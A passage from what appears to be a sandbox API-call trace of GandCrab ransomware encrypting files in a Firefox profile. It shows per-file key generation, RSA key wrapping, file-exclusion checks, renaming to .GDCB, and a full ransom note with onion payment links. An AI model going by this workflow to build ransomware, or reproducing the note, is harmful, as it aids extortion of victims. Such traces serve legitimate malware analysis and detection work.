(lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.722] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.722] lstrcmpW (lpString1="SiteSecurityServiceState.txt", lpString2=".") returned 1 [0057.722] lstrcmpW (lpString1="SiteSecurityServiceState.txt", lpString2="..") returned 1 [0057.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="SiteSecurityServiceState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" [0057.723] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.723] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108 [0057.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108 [0057.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108 [0057.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned 108 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="desktop.ini") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="autorun.inf") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="ntuser.dat") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="iconcache.db") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="bootsect.bak") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="boot.ini") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="ntuser.dat.log") returned 1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="thumbs.db") returned -1 [0057.723] lstrcmpiW (lpString1="SiteSecurityServiceState.txt", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt")) returned 0x20 [0057.727] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt", dwFileAttributes=0x20) returned 1 [0057.727] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.727] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" [0057.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.GDCB" [0057.727] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.728] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.728] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.728] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.728] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.728] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.728] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.728] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.728] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.729] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.729] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.729] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.729] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.729] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.729] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.729] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.729] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0057.731] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd2c8) returned 1 [0057.731] CryptGetKeyParam (in: hKey=0x5dd2c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.731] CryptEncrypt (in: hKey=0x5dd2c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.731] GetLastError () returned 0x0 [0057.731] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0057.731] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.734] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dda08) returned 1 [0057.734] CryptGetKeyParam (in: hKey=0x5dda08, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.734] CryptEncrypt (in: hKey=0x5dda08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.734] GetLastError () returned 0x0 [0057.734] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.735] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.735] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.735] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x788, lpOverlapped=0x0) returned 1 [0057.743] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.744] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.744] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.744] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.744] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x790, lpOverlapped=0x0) returned 1 [0057.744] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.744] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.747] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.747] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.747] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.747] CloseHandle (hObject=0x504) returned 1 [0057.748] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.748] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.749] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.749] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SiteSecurityServiceState.txt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sitesecurityservicestate.txt.gdcb")) returned 1 [0057.749] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.749] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.750] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.750] lstrcmpW (lpString1="storage", lpString2=".") returned 1 [0057.750] lstrcmpW (lpString1="storage", lpString2="..") returned 1 [0057.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="storage" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage" [0057.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\" [0057.750] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.750] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.750] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.750] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.750] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.750] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\") returned 88 [0057.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*" [0057.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dde08 [0057.750] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.750] FindNextFileW (in: hFindFile=0x5dde08, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.751] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.751] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.751] FindNextFileW (in: hFindFile=0x5dde08, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.751] lstrcmpW (lpString1="permanent", lpString2=".") returned 1 [0057.751] lstrcmpW (lpString1="permanent", lpString2="..") returned 1 [0057.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="permanent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent" [0057.751] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent") returned 97 [0057.751] lstrcmpW (lpString1=".default\\storage\\permanent", lpString2=".sql") returned -1 [0057.751] FindNextFileW (in: hFindFile=0x5dde08, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0057.751] FindClose (in: hFindFile=0x5dde08 | out: hFindFile=0x5dde08) returned 1 [0057.751] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.751] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\\\GDCB-DECRYPT.txt") returned 105 [0057.751] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.752] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.752] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0057.752] CloseHandle (hObject=0x504) returned 1 [0057.752] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.752] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\") returned 88 [0057.752] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*" [0057.753] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5ddc88 [0057.753] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.753] FindNextFileW (in: hFindFile=0x5ddc88, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.753] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.753] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.753] FindNextFileW (in: hFindFile=0x5ddc88, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\GDCB-DECRYPT.txt" [0057.753] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.753] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\GDCB-DECRYPT.txt") returned 104 [0057.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\GDCB-DECRYPT.txt") returned 104 [0057.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\GDCB-DECRYPT.txt") returned 104 [0057.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\GDCB-DECRYPT.txt") returned 104 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.753] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.753] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.753] FindNextFileW (in: hFindFile=0x5ddc88, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.753] lstrcmpW (lpString1="permanent", lpString2=".") returned 1 [0057.753] lstrcmpW (lpString1="permanent", lpString2="..") returned 1 [0057.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\", lpString2="permanent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent" [0057.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\" [0057.753] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.754] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\") returned 98 [0057.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*" [0057.754] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5dd988 [0057.754] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.754] FindNextFileW (in: hFindFile=0x5dd988, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0057.754] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.754] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.754] FindNextFileW (in: hFindFile=0x5dd988, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0057.754] lstrcmpW (lpString1="chrome", lpString2=".") returned 1 [0057.754] lstrcmpW (lpString1="chrome", lpString2="..") returned 1 [0057.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="chrome" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome" [0057.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome") returned 104 [0057.754] lstrcmpW (lpString1=".default\\storage\\permanent\\chrome", lpString2=".sql") returned -1 [0057.754] FindNextFileW (in: hFindFile=0x5dd988, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0057.754] lstrcmpW (lpString1="moz-safe-about+home", lpString2=".") returned 1 [0057.754] lstrcmpW (lpString1="moz-safe-about+home", lpString2="..") returned 1 [0057.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home") 